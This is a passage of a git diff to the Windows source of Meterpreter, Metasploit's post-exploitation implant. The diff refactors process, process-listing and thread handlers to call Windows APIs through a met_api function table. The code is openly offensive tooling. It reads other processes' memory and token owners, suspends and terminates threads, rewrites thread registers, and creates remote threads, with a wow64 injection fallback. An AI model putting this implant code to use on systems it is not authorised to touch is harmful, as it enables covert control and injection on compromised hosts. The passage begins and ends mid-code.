FreeLibrary(psapi); - - return ERROR_SUCCESS; -} + return ERROR_SUCCESS; +} /************************ * Process DIO handlers * @@ -1001,8 +917,8 @@ DWORD process_channel_read(Channel *channel, Packet *request, if (ctx == NULL) return ERROR_SUCCESS; - if (!ReadFile(ctx->pStdout, buffer, bufferSize, bytesRead, NULL)) - return GetLastError(); + if (!met_api->win_api.kernel32.ReadFile(ctx->pStdout, buffer, bufferSize, bytesRead, NULL)) + return met_api->win_api.kernel32.GetLastError(); return ERROR_SUCCESS; } @@ -1023,9 +939,9 @@ DWORD process_channel_write(Channel* channel, Packet* request, LPVOID context, L return result; } - if (!WriteFile(ctx->pStdin, buffer, bufferSize, bytesWritten, NULL)) + if (!met_api->win_api.kernel32.WriteFile(ctx->pStdin, buffer, bufferSize, bytesWritten, NULL)) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); } return result; @@ -1049,8 +965,8 @@ DWORD process_channel_close( Channel *channel, Packet *request, LPVOID context ) dprintf( "[PROCESS] channel has an attached process, closing via scheduler signal. channel=0x%08X, ctx=0x%08X", channel, ctx ); met_api->scheduler.signal_waitable( ctx->pStdout, SchedulerStop ); } else { - CloseHandle( ctx->pStdin ); - CloseHandle( ctx->pStdout ); + met_api->win_api.kernel32.CloseHandle( ctx->pStdin ); + met_api->win_api.kernel32.CloseHandle( ctx->pStdout ); free( ctx ); } @@ -1070,12 +986,12 @@ DWORD process_channel_interact_destroy( HANDLE waitable, LPVOID entryContext, LP return dwResult; } - CloseHandle( ctx->pStdin ); - CloseHandle( ctx->pStdout ); + met_api->win_api.kernel32.CloseHandle( ctx->pStdin ); + met_api->win_api.kernel32.CloseHandle( ctx->pStdout ); if( ctx->pProcess ) { dprintf( "[PROCESS] terminating process 0x%x", ctx->pProcess ); - TerminateProcess( ctx->pProcess, 0 ); + met_api->win_api.kernel32.TerminateProcess( ctx->pProcess, 0 ); } free( ctx ); @@ -1107,29 +1023,29 @@ DWORD process_channel_interact_notify(Remote* remote, LPVOID entryContext, LPVOI } dprintf("[PROCESS] process_channel_interact_notify: looking for stuff on the stdout pipe"); - if (PeekNamedPipe(ctx->pStdout, NULL, 0, NULL, &bytesAvail, NULL)) + if (met_api->win_api.kernel32.PeekNamedPipe(ctx->pStdout, NULL, 0, NULL, &bytesAvail, NULL)) { dprintf("[PROCESS] process_channel_interact_notify: named pipe call returned, %u bytes", bytesAvail); if (bytesAvail) { dprintf("[PROCESS] process_channel_interact_notify: attempting to read %u bytes", bytesAvail); - if (ReadFile(ctx->pStdout, buffer, sizeof(buffer) - 1, &bytesRead, NULL)) + if (met_api->win_api.kernel32.ReadFile(ctx->pStdout, buffer, sizeof(buffer) - 1, &bytesRead, NULL)) { dprintf("[PROCESS] process_channel_interact_notify: read %u bytes, passing to channel write", bytesRead); return met_api->channel.write(channel, remote, NULL, 0, buffer, bytesRead, NULL); } - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); } else { // sf: if no data is available on the pipe we sleep to avoid running a tight loop // in this thread, as anonymous pipes won't block for data to arrive. - Sleep(100); + met_api->win_api.kernel32.Sleep(100); } } else { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); } if (result != ERROR_SUCCESS) @@ -1195,7 +1111,7 @@ DWORD request_sys_process_wait(Remote *remote, Packet *packet) if( handle ) { - if( WaitForSingleObject( handle, INFINITE ) == WAIT_OBJECT_0 ) + if( met_api->win_api.kernel32.WaitForSingleObject( handle, INFINITE ) == WAIT_OBJECT_0 ) result = ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c index 9cfe51cf1..d18360264 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c @@ -83,12 +83,10 @@ DWORD ps_inject( DWORD dwPid, DLL_BUFFER * pDllBuffer, LPCSTR reflectiveLoader, */ DWORD ps_getarch( DWORD dwPid ) { - DWORD result = PROCESS_ARCH_UNKNOWN; - static DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN; - HANDLE hKernel = NULL; - HANDLE hProcess = NULL; - ISWOW64PROCESS pIsWow64Process = NULL; - BOOL bIsWow64 = FALSE; + DWORD result = PROCESS_ARCH_UNKNOWN; + static DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN; + HANDLE hProcess = NULL; + BOOL bIsWow64 = FALSE; do { @@ -99,27 +97,25 @@ DWORD ps_getarch( DWORD dwPid ) // first we default to 'x86' as if kernel32!IsWow64Process is not present then we are on an older x86 system. result = PROCESS_ARCH_X86; - hKernel = LoadLibraryA( "kernel32.dll" ); - if( !hKernel ) - break; - - pIsWow64Process = (ISWOW64PROCESS)GetProcAddress( hKernel, "IsWow64Process" ); - if( !pIsWow64Process ) - break; - - // now we must default to an unknown architecture as the process may be either x86/x64 and we may not have the rights to open it + // now we must default to an unknown architecture as the process may be either x86/x64 and we may not have the rights to open it result = PROCESS_ARCH_UNKNOWN; - hProcess = OpenProcess( PROCESS_QUERY_INFORMATION, FALSE, dwPid ); + hProcess = met_api->win_api.kernel32.OpenProcess( PROCESS_QUERY_INFORMATION, FALSE, dwPid ); if( !hProcess ) { - hProcess = OpenProcess( PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwPid ); + hProcess = met_api->win_api.kernel32.OpenProcess( PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwPid ); if( !hProcess ) break; } - if( !pIsWow64Process( hProcess, &bIsWow64 ) ) - break; + met_api->win_api.kernel32.SetLastError(ERROR_PROC_NOT_FOUND); + if( !met_api->win_api.kernel32.IsWow64Process( hProcess, &bIsWow64 ) ) + { + // IsWow64Process is absent on older x86-only systems. + if( met_api->win_api.kernel32.GetLastError() == ERROR_PROC_NOT_FOUND ) + result = PROCESS_ARCH_X86; + break; + } if( bIsWow64 ) result = PROCESS_ARCH_X86; @@ -129,22 +125,17 @@ DWORD ps_getarch( DWORD dwPid ) } while( 0 ); if( hProcess ) - CloseHandle( hProcess ); - - if( hKernel ) - FreeLibrary( hKernel ); + met_api->win_api.kernel32.CloseHandle( hProcess ); - return result; -} + return result; +} /* * Get the native architecture of the system we are running on. */ DWORD ps_getnativearch( VOID ) { - HANDLE hKernel = NULL; - GETNATIVESYSTEMINFO pGetNativeSystemInfo = NULL; - DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN; + DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN; SYSTEM_INFO SystemInfo = {0}; do @@ -152,15 +143,7 @@ DWORD ps_getnativearch( VOID ) // default to 'x86' as if kernel32!GetNativeSystemInfo is not present then we are on an old x86 system. dwNativeArch = PROCESS_ARCH_X86; - hKernel = LoadLibraryA( "kernel32.dll" ); - if( !hKernel ) - break; - - pGetNativeSystemInfo = (GETNATIVESYSTEMINFO)GetProcAddress( hKernel, "GetNativeSystemInfo" ); - if( !pGetNativeSystemInfo ) - break; - - pGetNativeSystemInfo( &SystemInfo ); + met_api->win_api.kernel32.GetNativeSystemInfo( &SystemInfo ); switch( SystemInfo.wProcessorArchitecture ) { case PROCESSOR_ARCHITECTURE_AMD64: @@ -179,11 +162,8 @@ DWORD ps_getnativearch( VOID ) } while( 0 ); - if( hKernel ) - FreeLibrary( hKernel ); - - return dwNativeArch; -} + return dwNativeArch; +} /* * Attempt to get the processes path and name. @@ -195,14 +175,8 @@ DWORD ps_getnativearch( VOID ) */ BOOL ps_getpath(DWORD pid, wchar_t * wcpExePath, DWORD dwExePathSize, wchar_t * wcpExeName, DWORD dwExeNameSize) { - BOOL success = FALSE; - HANDLE hProcess = NULL; - HMODULE hPsapi = NULL; - HMODULE hNtdll = NULL; - // make these static to avoid some overhead when resolving due to the repeated calls to ps_getpath fo a ps command... - static GETMODULEFILENAMEEXW pGetModuleFileNameExW = NULL; - static GETPROCESSIMAGEFILENAMEW pGetProcessImageFileNameW = NULL; - static QUERYFULLPROCESSIMAGENAMEW pQueryFullProcessImageNameW = NULL; + BOOL success = FALSE; + HANDLE hProcess = NULL; do { @@ -211,91 +185,61 @@ BOOL ps_getpath(DWORD pid, wchar_t * wcpExePath, DWORD dwExePathSize, wchar_t * wmemset( wcpExePath, 0, dwExePathSize ); - hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid ); + hProcess = met_api->win_api.kernel32.OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid ); if( !hProcess ) break; // first, try psapi!GetModuleFileNameExW (Windows 2000/XP/2003/Vista/2008/7 but cant get x64 process paths from a wow64 process) - hPsapi = LoadLibrary( "psapi" ); - if( hPsapi ) - { - if( !pGetModuleFileNameExW ) - pGetModuleFileNameExW = (GETMODULEFILENAMEEXW)GetProcAddress(hPsapi, "GetModuleFileNameExW"); - - if( pGetModuleFileNameExW ) - { - if (pGetModuleFileNameExW(hProcess, NULL, wcpExePath, dwExePathSize)) - success = TRUE; - } - } + if( met_api->win_api.psapi.GetModuleFileNameExW(hProcess, NULL, wcpExePath, dwExePathSize) ) + { + success = TRUE; + } // secondly, try kernel32!QueryFullProcessImageNameW (Windows Vista/2008/7) if( !success ) { DWORD dwSize = dwExePathSize; - HANDLE hKernel = LoadLibraryA( "kernel32" ); - - if( !pQueryFullProcessImageNameW ) - pQueryFullProcessImageNameW = (QUERYFULLPROCESSIMAGENAMEW)GetProcAddress( hKernel, "QueryFullProcessImageNameW" ); - - if( pQueryFullProcessImageNameW ) - { - if (pQueryFullProcessImageNameW(hProcess, 0, wcpExePath, &dwSize)) - success = TRUE; - } - - if( hKernel ) - FreeLibrary( hKernel ); - } - - // thirdly, try psapi!GetProcessImageFileNameW (Windows XP/2003/Vista/2008/7 - returns a native path not a win32 path) - if( !success && hPsapi ) - { - if( !pGetProcessImageFileNameW ) - pGetProcessImageFileNameW = (GETPROCESSIMAGEFILENAMEW)GetProcAddress( hPsapi, "GetProcessImageFileNameW" ); - - if( pGetProcessImageFileNameW ) - { - if (pGetProcessImageFileNameW(hProcess, (LPWSTR)wcpExePath, dwExePathSize)) - success = TRUE; - } - } + if( met_api->win_api.kernel32.QueryFullProcessImageNameW(hProcess, 0, wcpExePath, &dwSize) ) + { + success = TRUE; + } + } + + // thirdly, try psapi!GetProcessImageFileNameW (Windows XP/2003/Vista/2008/7 - returns a native path not a win32 path) + if( !success ) + { + if( met_api->win_api.psapi.GetProcessImageFileNameW(hProcess, (LPWSTR)wcpExePath, dwExePathSize) ) + { + success = TRUE; + } + } // finally if all else has failed, manually pull the exe path/name out of th PEB... if( !success ) { - NTQUERYINFORMATIONPROCESS pNtQueryInformationProcess = NULL; - DWORD dwSize = 0; + DWORD dwSize = 0; PROCESS_BASIC_INFORMATION BasicInformation = {0}; RTL_USER_PROCESS_PARAMETERS params = {0}; _PEB peb = {0}; - hNtdll = LoadLibraryA( "ntdll" ); - if( !hNtdll ) - break; - - pNtQueryInformationProcess = (NTQUERYINFORMATIONPROCESS)GetProcAddress( hNtdll, "NtQueryInformationProcess" ); - if( !pNtQueryInformationProcess ) - break; - - if( pNtQueryInformationProcess( hProcess, 0, &BasicInformation, sizeof(PROCESS_BASIC_INFORMATION), &dwSize ) != ERROR_SUCCESS ) + if( met_api->win_api.ntdll.ZwQueryInformationProcess( hProcess, 0, &BasicInformation, sizeof(PROCESS_BASIC_INFORMATION), &dwSize ) != ERROR_SUCCESS ) break; if( !BasicInformation.PebBaseAddress ) break; - if( !ReadProcessMemory( hProcess, BasicInformation.PebBaseAddress, &peb, 64, NULL ) ) // (just read in the first 64 bytes of PEB) + if( !met_api->win_api.kernel32.ReadProcessMemory( hProcess, BasicInformation.PebBaseAddress, &peb, 64, NULL ) ) // (just read in the first 64 bytes of PEB) break; if( !peb.lpProcessParameters ) break; - if( !ReadProcessMemory( hProcess, peb.lpProcessParameters, ¶ms, sizeof(params), NULL ) ) + if( !met_api->win_api.kernel32.ReadProcessMemory( hProcess, peb.lpProcessParameters, ¶ms, sizeof(params), NULL ) ) break; if (wcpExePath) { - if( ReadProcessMemory( hProcess, params.ImagePathName.Buffer, wcpExePath, params.ImagePathName.Length, NULL ) ) + if( met_api->win_api.kernel32.ReadProcessMemory( hProcess, params.ImagePathName.Buffer, wcpExePath, params.ImagePathName.Length, NULL ) ) { wchar_t * name = NULL; @@ -313,14 +257,8 @@ BOOL ps_getpath(DWORD pid, wchar_t * wcpExePath, DWORD dwExePathSize, wchar_t * } while( 0 ); - if( hPsapi ) - FreeLibrary( hPsapi ); - - if( hNtdll ) - FreeLibrary( hNtdll ); - - if( hProcess ) - CloseHandle( hProcess ); + if( hProcess ) + met_api->win_api.kernel32.CloseHandle( hProcess ); if( !success && wcpExePath ) wmemset( wcpExePath, 0, dwExePathSize ); @@ -352,26 +290,26 @@ BOOL ps_getusername( DWORD pid, wchar_t * wcpUserName, DWORD dwUserNameSize ) wmemset( wcpUserName, 0, dwUserNameSize ); - hProcess = OpenProcess( PROCESS_QUERY_INFORMATION, FALSE, pid ); + hProcess = met_api->win_api.kernel32.OpenProcess( PROCESS_QUERY_INFORMATION, FALSE, pid ); if( !hProcess ) break; - if( !OpenProcessToken( hProcess, TOKEN_QUERY, &hToken ) ) + if( !met_api->win_api.advapi32.OpenProcessToken( hProcess, TOKEN_QUERY, &hToken ) ) break; - GetTokenInformation( hToken, TokenUser, NULL, 0, &dwLength ); + met_api->win_api.advapi32.GetTokenInformation( hToken, TokenUser, NULL, 0, &dwLength ); pUser = (TOKEN_USER *)malloc( dwLength ); if( !pUser ) break; - if( !GetTokenInformation( hToken, TokenUser, pUser, dwLength, &dwLength ) ) + if( !met_api->win_api.advapi32.GetTokenInformation( hToken, TokenUser, pUser, dwLength, &dwLength ) ) break; dwUserLength = sizeof( wcUser ); dwDomainLength = sizeof( wcDomain ); - if( !LookupAccountSidW( NULL, pUser->User.Sid, wcUser, &dwUserLength, wcDomain, &dwDomainLength, &peUse ) ) + if( !met_api->win_api.advapi32.LookupAccountSidW( NULL, pUser->User.Sid, wcUser, &dwUserLength, wcDomain, &dwDomainLength, &peUse ) ) break; _snwprintf(wcpUserName, dwUserNameSize - 1, L"%s\\%s", wcDomain, wcUser); @@ -384,10 +322,10 @@ BOOL ps_getusername( DWORD pid, wchar_t * wcpUserName, DWORD dwUserNameSize ) free( pUser ); if( hToken ) - CloseHandle( hToken ); + met_api->win_api.kernel32.CloseHandle( hToken ); if( hProcess ) - CloseHandle( hProcess ); + met_api->win_api.kernel32.CloseHandle( hProcess ); return success; } @@ -399,34 +337,19 @@ BOOL ps_getusername( DWORD pid, wchar_t * wcpUserName, DWORD dwUserNameSize ) */ DWORD ps_list_via_toolhelp( Packet * response ) { - DWORD result = ERROR_INVALID_HANDLE; - CREATETOOLHELP32SNAPSHOT pCreateToolhelp32Snapshot = NULL; - PROCESS32FIRSTW pProcess32FirstW = NULL; - PROCESS32NEXTW pProcess32NextW = NULL; - HANDLE hProcessSnap = NULL; - HMODULE hKernel = NULL; - PROCESSENTRY32W pe32 = {0}; + DWORD result = ERROR_INVALID_HANDLE; + HANDLE hProcessSnap = NULL; + PROCESSENTRY32W pe32 = {0}; do { - hKernel = LoadLibrary( "kernel32" ); - if( !hKernel ) - break; - - pCreateToolhelp32Snapshot = (CREATETOOLHELP32SNAPSHOT)GetProcAddress( hKernel, "CreateToolhelp32Snapshot" ); - pProcess32FirstW = (PROCESS32FIRSTW)GetProcAddress( hKernel, "Process32FirstW" ); - pProcess32NextW = (PROCESS32NEXTW)GetProcAddress( hKernel, "Process32NextW" ); - - if( !pCreateToolhelp32Snapshot || !pProcess32FirstW || !pProcess32NextW ) - break; - - hProcessSnap = pCreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); - if( hProcessSnap == INVALID_HANDLE_VALUE ) + hProcessSnap = met_api->win_api.kernel32.CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); + if( hProcessSnap == INVALID_HANDLE_VALUE ) break; pe32.dwSize = sizeof( PROCESSENTRY32W ); - if( !pProcess32FirstW( hProcessSnap, &pe32 ) ) + if( !met_api->win_api.kernel32.Process32FirstW( hProcessSnap, &pe32 ) ) break; result = ERROR_SUCCESS; @@ -446,18 +369,15 @@ DWORD ps_list_via_toolhelp( Packet * response ) ps_addresult(response, pe32.th32ProcessID, pe32.th32ParentProcessID, pe32.szExeFile, wcExePath, wcUserName, dwProcessArch); - } while( pProcess32NextW( hProcessSnap, &pe32 ) ); + } while( met_api->win_api.kernel32.Process32NextW( hProcessSnap, &pe32 ) ); } while(0); if( hProcessSnap ) - CloseHandle( hProcessSnap ); - - if( hKernel ) - FreeLibrary( hKernel ); + met_api->win_api.kernel32.CloseHandle( hProcessSnap ); - return result; -} + return result; +} /* @@ -467,29 +387,14 @@ DWORD ps_list_via_toolhelp( Packet * response ) */ DWORD ps_list_via_psapi( Packet * response ) { - DWORD result = ERROR_INVALID_HANDLE; - HMODULE hPsapi = NULL; - ENUMPROCESSES pEnumProcesses = NULL; - ENUMPROCESSMODULES pEnumProcessModules = NULL; - GETMODULEBASENAMEW pGetModuleBaseNameW = NULL; - DWORD dwProcessIds[1024] = {0}; + DWORD result = ERROR_INVALID_HANDLE; + DWORD dwProcessIds[1024] = {0}; DWORD dwBytesReturned = 0; DWORD index = 0; do { - hPsapi = LoadLibrary( "psapi" ); - if( !hPsapi ) - break; - - pEnumProcesses = (ENUMPROCESSES)GetProcAddress( hPsapi, "EnumProcesses" ); - pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress( hPsapi, "EnumProcessModules" ); - pGetModuleBaseNameW = (GETMODULEBASENAMEW)GetProcAddress( hPsapi, "GetModuleBaseNameW" ); - - if( !pEnumProcesses || !pEnumProcessModules || !pGetModuleBaseNameW ) - break; - - if( !pEnumProcesses( (DWORD *)&dwProcessIds, sizeof(dwProcessIds), &dwBytesReturned ) ) + if( !met_api->win_api.psapi.EnumProcesses( (DWORD *)&dwProcessIds, sizeof(dwProcessIds), &dwBytesReturned ) ) break; result = ERROR_SUCCESS; @@ -507,19 +412,19 @@ DWORD ps_list_via_psapi( Packet * response ) do { - hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessIds[index] ); + hProcess = met_api->win_api.kernel32.OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessIds[index] ); if( !hProcess ) break; - if( !pEnumProcessModules( hProcess, &hModule, sizeof(hModule), &dwNeeded ) ) - break; - - pGetModuleBaseNameW(hProcess, hModule, (LPWSTR)wcExeName, 1024); + if( !met_api->win_api.psapi.EnumProcessModules( hProcess, &hModule, sizeof(hModule), &dwNeeded ) ) + break; + + met_api->win_api.psapi.GetModuleBaseNameW(hProcess, hModule, (LPWSTR)wcExeName, 1024); } while(0); if( hProcess ) - CloseHandle( hProcess ); + met_api->win_api.kernel32.CloseHandle( hProcess ); ps_getpath( dwProcessIds[index], (wchar_t *)&wcExePath, 1024, NULL, 0 ); @@ -532,11 +437,8 @@ DWORD ps_list_via_psapi( Packet * response ) } while(0); - if( hPsapi ) - FreeLibrary( hPsapi ); - - return result; -} + return result; +} /* * Generate a process list by brute forcing the process id's. If we can open the @@ -556,11 +458,11 @@ DWORD ps_list_via_brute( Packet * response ) wchar_t wcUserName[1024] = {0}; Tlv entries[5] = {0}; - hProcess = OpenProcess( PROCESS_QUERY_INFORMATION, FALSE, pid ); + hProcess = met_api->win_api.kernel32.OpenProcess( PROCESS_QUERY_INFORMATION, FALSE, pid ); if( !hProcess ) continue; - CloseHandle( hProcess ); + met_api->win_api.kernel32.CloseHandle( hProcess ); ps_getpath( pid, (wchar_t *)&wcExePath, 1024, (wchar_t *)&wcExeName, 1024 ); @@ -589,7 +491,7 @@ VOID ps_addresult(Packet * response, DWORD dwPid, DWORD dwParentPid, wchar_t * w dwSessionId = session_id( dwPid ); - dwPid = htonl( dwPid ); + dwPid = met_api->win_api.ws2_32.htonl( dwPid ); entries[0].header.type = TLV_TYPE_PID; entries[0].header.length = sizeof( DWORD ); entries[0].buffer = (PUCHAR)&dwPid; @@ -612,17 +514,17 @@ VOID ps_addresult(Packet * response, DWORD dwPid, DWORD dwParentPid, wchar_t * w entries[3].header.length = (DWORD)strlen(met_api->string.wchar_to_utf8(wcpUserName)) + 1; entries[3].buffer = met_api->string.wchar_to_utf8(wcpUserName); - dwProcessArch = htonl( dwProcessArch ); + dwProcessArch = met_api->win_api.ws2_32.htonl( dwProcessArch ); entries[4].header.type = TLV_TYPE_PROCESS_ARCH; entries[4].header.length = sizeof( DWORD ); entries[4].buffer = (PUCHAR)&dwProcessArch; - dwParentPid = htonl( dwParentPid ); + dwParentPid = met_api->win_api.ws2_32.htonl( dwParentPid ); entries[5].header.type = TLV_TYPE_PARENT_PID; entries[5].header.length = sizeof( DWORD ); entries[5].buffer = (PUCHAR)&dwParentPid; - dwSessionId = htonl( dwSessionId ); + dwSessionId = met_api->win_api.ws2_32.htonl( dwSessionId ); entries[6].header.type = TLV_TYPE_PROCESS_SESSION; entries[6].header.length = sizeof( DWORD ); entries[6].buffer = (PUCHAR)&dwSessionId; diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.h b/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.h index e954cb407..822f10eba 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.h +++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.h @@ -10,22 +10,7 @@ VOID ps_addresult( Packet * response, DWORD dwPid, DWORD dwParentPid, wchar_t * cpExeName, wchar_t * cpExePath, wchar_t * cpUserName, DWORD dwProcessArch ); -typedef DWORD(WINAPI * GETMODULEFILENAMEEXW)(HANDLE hProcess, HMODULE hModule, LPWSTR lpExeName, DWORD dwSize); -typedef DWORD(WINAPI * GETPROCESSIMAGEFILENAMEW)(HANDLE hProcess, LPWSTR lpExeName, DWORD dwSize); -typedef BOOL(WINAPI * QUERYFULLPROCESSIMAGENAMEW)(HANDLE hProcess, DWORD dwFlags, LPWSTR lpExeName, PDWORD lpdwSize); -typedef HANDLE (WINAPI * CREATETOOLHELP32SNAPSHOT)( DWORD dwFlags, DWORD th32ProcessID ); -typedef BOOL (WINAPI * PROCESS32FIRSTW)( HANDLE hSnapshot, LPPROCESSENTRY32W lppe ); -typedef BOOL (WINAPI * PROCESS32NEXTW)( HANDLE hSnapshot, LPPROCESSENTRY32W lppe ); -typedef void (WINAPI * GETNATIVESYSTEMINFO)( LPSYSTEM_INFO lpSystemInfo ); -typedef BOOL (WINAPI * ISWOW64PROCESS)( HANDLE hProcess, PBOOL Wow64Process ); - -typedef NTSTATUS (WINAPI * NTQUERYINFORMATIONPROCESS)( HANDLE ProcessHandle, DWORD ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength ); - -typedef BOOL (WINAPI * ENUMPROCESSES)( DWORD * pProcessIds, DWORD cb, DWORD * pBytesReturned ); -typedef BOOL (WINAPI * ENUMPROCESSMODULES)( HANDLE hProcess, HMODULE *lphModule, DWORD cb, LPDWORD lpcbNeeded ); -typedef DWORD(WINAPI * GETMODULEBASENAMEW)(HANDLE hProcess, HMODULE hModule, LPWSTR lpBaseName, DWORD nSize); - -//===============================================================================================// +//===============================================================================================// typedef struct _DLL_BUFFER { diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/thread.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/thread.c index 0970d8310..984dc9f03 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/process/thread.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/thread.c @@ -4,26 +4,15 @@ ULONG get_thread_register_value(LPCONTEXT context, LPCSTR name, DWORD size); VOID set_thread_register_value(LPCONTEXT, LPCSTR name, ULONG value); -typedef BOOL (WINAPI *PISWOW64PROCESS)(HANDLE, PBOOL); -static PISWOW64PROCESS pIsWow64Process = NULL; - -BOOL LocalIsWow64Process(HANDLE hProcess) -{ - BOOL result = FALSE; - - if (!pIsWow64Process) - { - pIsWow64Process = (PISWOW64PROCESS)GetProcAddress(GetModuleHandleA("kernel32.dll"), "IsWow64Process"); - } - - if (pIsWow64Process) - { - if (!pIsWow64Process(hProcess, &result)) - { - result = FALSE; - } - } - +BOOL LocalIsWow64Process(HANDLE hProcess) +{ + BOOL result = FALSE; + + if (!met_api->win_api.kernel32.IsWow64Process(hProcess, &result)) + { + result = FALSE; + } + return result; } @@ -56,9 +45,9 @@ DWORD request_sys_process_thread_open(Remote *remote, Packet *packet) } // Open the thread - if (!(handle = OpenThread(perms, FALSE, threadId))) + if (!(handle = met_api->win_api.kernel32.OpenThread(perms, FALSE, threadId))) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } @@ -114,11 +103,11 @@ DWORD request_sys_process_thread_create(Remote *remote, Packet *packet) if (!(hThread = met_api->thread.create_remote(hProcess, 0, lpEntryPoint, lpEntryParam, dwCreateFlags, &dwThreadId))) { dprintf("[THREAD CREATE] Failed to create remote thread"); - dwResult = GetLastError(); + dwResult = met_api->win_api.kernel32.GetLastError(); if (dwResult == ERROR_ACCESS_DENIED && dwMeterpreterArch == PROCESS_ARCH_X86 - && LocalIsWow64Process(GetCurrentProcess()) + && LocalIsWow64Process(met_api->win_api.kernel32.GetCurrentProcess()) && !LocalIsWow64Process(hProcess)) { dprintf("[THREAD CREATE] Target is x64, attempting wow64 injection"); @@ -135,7 +124,7 @@ DWORD request_sys_process_thread_create(Remote *remote, Packet *packet) // is the suspended flag set, we need to resume it if ((dwCreateFlags & CREATE_SUSPENDED) == 0) { - ResumeThread(hThread); + met_api->win_api.kernel32.ResumeThread(hThread); } } else @@ -169,7 +158,7 @@ DWORD request_sys_process_thread_close(Remote *remote, Packet *packet) DWORD result = ERROR_SUCCESS; if ((thread = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_THREAD_HANDLE))) - CloseHandle(thread); + met_api->win_api.kernel32.CloseHandle(thread); else result = ERROR_INVALID_PARAMETER; @@ -204,16 +193,16 @@ DWORD request_sys_process_thread_get_threads(Remote *remote, Packet *packet) } // Get a snapshot of the threads running in the supplied process - if (!(th32 = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, processId))) + if (!(th32 = met_api->win_api.kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, processId))) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } entry.dwSize = sizeof(entry); // If the first enumeration fails, see why - if (Thread32First(th32, &entry)) + if (met_api->win_api.kernel32.Thread32First(th32, &entry)) { // Keep looping until there are no more threads do @@ -223,14 +212,14 @@ DWORD request_sys_process_thread_get_threads(Remote *remote, Packet *packet) met_api->packet.add_tlv_uint(response, TLV_TYPE_THREAD_ID, entry.th32ThreadID); - } while (Thread32Next(th32, &entry)); + } while (met_api->win_api.kernel32.Thread32Next(th32, &entry)); } // If we did not reach the end of the enumeration cleanly, something // stupid happened - if (GetLastError() != ERROR_NO_MORE_FILES) + if (met_api->win_api.kernel32.GetLastError() != ERROR_NO_MORE_FILES) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } @@ -240,7 +229,7 @@ DWORD request_sys_process_thread_get_threads(Remote *remote, Packet *packet) // Cleanup if (th32) - CloseHandle(th32); + met_api->win_api.kernel32.CloseHandle(th32); return ERROR_SUCCESS; } @@ -258,8 +247,8 @@ DWORD request_sys_process_thread_suspend(Remote *remote, Packet *packet) if ((thread = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_THREAD_HANDLE))) { - if (SuspendThread(thread) == (DWORD)-1) - result = GetLastError(); + if (met_api->win_api.kernel32.SuspendThread(thread) == (DWORD)-1) + result = met_api->win_api.kernel32.GetLastError(); } else result = ERROR_INVALID_PARAMETER; @@ -282,8 +271,8 @@ DWORD request_sys_process_thread_resume(Remote *remote, Packet *packet) if ((thread = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_THREAD_HANDLE))) { - if (ResumeThread(thread) == (DWORD)-1) - result = GetLastError(); + if (met_api->win_api.kernel32.ResumeThread(thread) == (DWORD)-1) + result = met_api->win_api.kernel32.GetLastError(); } else result = ERROR_INVALID_PARAMETER; @@ -310,8 +299,8 @@ DWORD request_sys_process_thread_terminate(Remote *remote, Packet *packet) { code = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXIT_CODE); - if (!TerminateThread(thread, code)) - result = GetLastError(); + if (!met_api->win_api.kernel32.TerminateThread(thread, code)) + result = met_api->win_api.kernel32.GetLastError(); } else result = ERROR_INVALID_PARAMETER; @@ -370,9 +359,9 @@ DWORD request_sys_process_thread_query_regs(Remote *remote, Packet *packet) context.ContextFlags = CONTEXT_FULL; // Get the thread's context - if (!GetThreadContext(thread, &context)) + if (!met_api->win_api.kernel32.GetThreadContext(thread, &context)) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } @@ -388,8 +377,8 @@ DWORD request_sys_process_thread_query_regs(Remote *remote, Packet *packet) regs[index].name, regs[index].size); // Convert the integer values to network byte order - sizeNbo = htonl(regs[index].size); - valNbo = htonl(value); + sizeNbo = met_api->win_api.ws2_32.htonl(regs[index].size); + valNbo = met_api->win_api.ws2_32.htonl(value); // Translate each register into a grouped TLV reg[0].header.length = (DWORD)strlen(regs[index].name) + 1; @@ -441,9 +430,9 @@ DWORD request_sys_process_thread_set_regs(Remote *remote, Packet *packet) // Get the current thread register state context.ContextFlags = CONTEXT_FULL; - if (!GetThreadContext(thread, &context)) + if (!met_api->win_api.kernel32.GetThreadContext(thread, &context)) { - result = GetLastError(); + result = 